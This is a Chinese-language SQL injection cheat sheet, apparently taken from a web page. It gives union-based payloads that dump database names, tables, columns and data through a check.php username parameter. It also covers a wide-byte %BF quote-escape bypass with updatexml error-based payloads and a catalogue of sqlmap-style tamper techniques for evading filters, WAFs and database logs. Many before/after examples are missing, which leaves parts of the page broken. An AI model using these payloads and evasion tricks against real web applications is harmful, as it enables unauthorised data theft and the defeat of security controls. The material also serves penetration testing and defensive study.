1 2 3 4 5 6 7 8 9 10 11 12 13 当参数为GET型传输时,需要对#进行URL编码,即%23 检测查询的字段数:/?check.php?username=admin' order by 数字%23 若字段数为3个时,查看回显的点位:/?check.php?username=1' union select 1,2,3%23 若回显的点位为2和3时,查询数据库名和版本:/?check.php?username=1' union select 1,database,version()%23 爆破表名:/check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23 爆破指定表字段:/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='表名'%23 爆破指定表指定字段数据:/check.php?username=1' union select 1,2,group_concat(字段名) from 表名%23
单引号绕过 转义 tamper
适用数据库
替换前
替换后
汉字双字节编码 假设执行的SQL语句如下:
1 SELECT * FROM `sl_admin` WHERE `username`= '值'
当开启了PHP魔术函数过滤了引号时,可以在引号前加上一个汉字双字节编码,实现绕过
%BF解码之后是中文乱码,此时执行的SQL语句如下:
1 SELECT * FROM `sl_admin` WHERE `username`= '¿''
后续的注入利用
1 2 3 4 5 6 数据库: username= % BF'/**/and/**/updatexml(1,concat(0x7e,(database()),0x7e),1)# 用户: username=%BF' and updatexml(1 ,concat(0x7e ,(user ()),0x7e ),1 )#版本: username= % BF'/**/and/**/updatexml(1,concat(0x7e,(version()),0x7e),1)#
URL编码 tamper
适用数据库
替换前
替换后
宽字节 tamper
适用数据库,宽字符绕过 GPC addslashes
替换前
替换后
宽字节Unicode编码 tamper
适用数据库
替换前
替换后
加号绕过 concat关键字替换 tamper
适用数据库
替换前
1 SELECT CHAR (113 )+ CHAR (114 )+ CHAR (115 ) FROM DUAL
替换后
1 SELECT CONCAT(CHAR (113 ),CHAR (114 ),CHAR (115 )) FROM DUAL
fn concat关键字替换 tamper
适用数据库
替换前
1 SELECT CHAR (113 )+ CHAR (114 )+ CHAR (115 ) FROM DUAL
替换后
1 SELECT {fn CONCAT({fn CONCAT(CHAR (113 ),CHAR (114 ))},CHAR (115 ))} FROM DUAL
双引号绕过 转义 tamper
适用数据库
替换前
替换后
大于号绕过 greatest关键字替换 tamper
适用数据库
替换前
替换后
BETWEEN关键字替换 tamper
适用数据库
替换前
替换后
and绕过 tamper
适用数据库,使用&&替换and
替换前
替换后
or绕过 tamper
适用数据库,使用||替换or
替换前
替换后
union绕过 tamper
适用数据库
替换前
替换后
等号绕过 like关键字替换 tamper
适用数据库,将等号用 like 代替,用于过滤了等号的情况
替换前
1 select * from users where id= 1
替换后
1 select * from users where id like 1
BETWEEN关键字替换 tamper
适用数据库
替换前
替换后
逗号绕过 offset关键字替换 tamper
适用数据库,用于过滤了逗号且是两个参数的情况
替换前
替换后
from for关键字替换 tamper
适用数据库,用于过滤了逗号并且是三参数的情况
替换前
替换后
1 MID(VERSION() FROM 1 FOR 1 )
空格绕过 单行注释加换行符 tamper
适用数据库
替换前
替换后
单行注释加随机字符 tamper
适用数据库
替换前
替换后
井号注释加随机字符 tamper
适用数据库
替换前
替换后
1 1 % 23 upgPydUzKpMX% 0 AAND% 23 RcDKhIr% 0 A9227= 9227
井号注释加随机字符加换行符 tamper
适用数据库
替换前
替换后
1 1 % 23 RcDKhIr% 0 AAND% 23 upgPydUzKpMX% 0 A% 23 lgbaxYjWJ% 0 A9227= 9227
井号注释加换行符 tamper
适用数据库
替换前
替换后
1 1 % 23 % 0 AAND% 23 % 0 A9227= 9227
随机空白符类型1 tamper
适用数据库,使用的空白符有%01, %02, %03, %04, %05, %06, %07, %08, %09, %0B, %0C, %0D, %0E, %0F, %0A
替换前
替换后
1 SELECT % 0 Did% 0 DFROM% 04 users
随机空白符类型2 tamper
适用数据库,使用的空白符有%09, %0A, %0C, %0D, %0B, %A0
替换前
替换后
1 SELECT % A0id% 0 CFROM% 0 Dusers
随机空白符类型3 tamper
适用数据库,使用的空白符有%09, %0A, %0C, %0D
替换前
替换后
1 SELECT % 0 Did% 0 CFROM% 0 Ausers
空字符 tamper
适用数据库
替换前
替换后
加号替换 tamper
适用数据库
替换前
替换后
内联注释 tamper
适用数据库
替换前
替换后
内联注释加下划线 tamper
适用数据库
替换前
替换后
1 SELECT/**_**/id/**_**/FROM/**_**/users
函数绕过 随机插入注释 tamper
1 commentbeforeparentheses.py
适用数据库,在某个单词后的第一个括号前面加入 /**/ ,用于过滤了函数的情况
替换前
1 union select group_concat(table_name)
替换后
1 union select group_concat/**/(table_name)
concat函数绕过 tamper
适用数据库,用于过滤concat函数的情况
替换前
替换后
1 concat_ws(mid(char(0), 0, 0), 1, 2)
ifnull函数绕过 tamper
适用数据库
替换前
替换后
末尾插入注释 tamper
1 informationschemacomment.py
适用数据库
替换前
1 information_schema.tables
替换后
1 information_schema/**/.tables
整体Payload绕过 HTML编码 tamper
适用数据库
替换前
替换后
1 1' AND SLEEP(5)#
Unicode编码 tamper
适用数据库
替换前
替换后
1 \u0073\u0065\u006c\u0065\u0063\u0074\u0020\u002a\u0020\u0066\u0072\u006f\u006d\u0020\u0075\u0073\u0065\u0072\u0073
URL编码 tamper
适用数据库
替换前
替换后
1 %73%65%6c%65%63%74%20%2a%20%66%72%6f%6d%20%75%73%65%72
二次URL编码 tamper
适用数据库
替换前
替换后
1 %2573%2565%256c%2565%2563%2574%2520%252a%2520%2566%2572%256f%256d%2520%2575%2573%2565%2572
空字符 tamper
适用数据库
替换前
替换后
Base64 tamper
适用数据库
替换前
替换后
除函数外的关键字注释 tamper
适用数据库
替换前
1 SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58)
替换后
1 /*!SELECT*//*!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58)
关键字注释类型1 tamper
1 halfversionedmorekeywords.py
适用数据库
替换前,若关键字前存在空格时,替换后会被删除;不存在空格时只会在关键字前添加/*!0
替换后
关键字注释类型2 tamper
1 versionedmorekeywords.py
适用数据库
替换前
1 SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58)
替换后
1 /*!SELECT*//*!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58)
关键字双写 tamper
1 nonrecursivereplacement.py
适用数据库,可用于关键字过滤
替换前
替换后
关键字插入百分号 tamper
适用数据库,插入的位置在每个关键字的每个字母前
替换前
替换后
1 %s%e%l%e%c%t * %f%r%o%m %u%s%e%r%s
特殊字符超长utf编码 tamper
适用数据库,只会替换一些空格、大于号这些,sql关键字不会被替换
替换前
1 SELECT FIELD FROM TABLE WHERE 2>1
替换后
1 SELECT%C0%A0FIELD%C0%A0FROM%C0%A0TABLE%C0%A0WHERE%C0%A02%C0%BE1
超长utf编码 tamper
适用数据库
替换前
1 SELECT FIELD FROM TABLE WHERE 2>1
替换后
1 %C1%93%C1%85%C1%8C%C1%85%C1%83%C1%94%C0%A0%C1%86%C1%89%C1%85%C1%8C%C1%84%C0%A0%C1%86%C1%92%C1%8F%C1%8D%C0%A0%C1%94%C1%81%C1%82%C1%8C%C1%85%C0%A0%C1%97%C1%88%C1%85%C1%92%C1%85%C0%A0%C0%B2%C0%BE%C0%B1
末尾插入sp_password关键字 tamper
适用数据库,用于迷惑数据库日志
替换前
替换后
1 1 AND 9227=9227-- sp_password
大写 tamper
适用数据库
替换前
替换后
大写转小写 tamper
适用数据库
替换前
替换后
随机大小写 tamper
适用数据库
替换前
替换后
随机插入注释 tamper
适用数据库
替换前
替换后
WAF绕过 X-Forwarded-For头绕过 tamper
适用数据库,添加一个X-Forwarded-For值、X-Client-Ip值、X-Real-Ip值、CF-Connecting-IP值和True-Client-IP值为随机IP的请求头参数
X-originating-IP头绕过 tamper
适用数据库,添加一个X-originating-IP值为127.0.0.1的请求头参数
ModSecurity旧版WAF绕过 tamper
适用数据库
替换前
替换后
ModSecurity新版WAF绕过 tamper
1 modsecurityzeroversioned.py
适用数据库
替换前
替换后
未知绕过 1 id= @`'` union select 1,2,3 from user -- '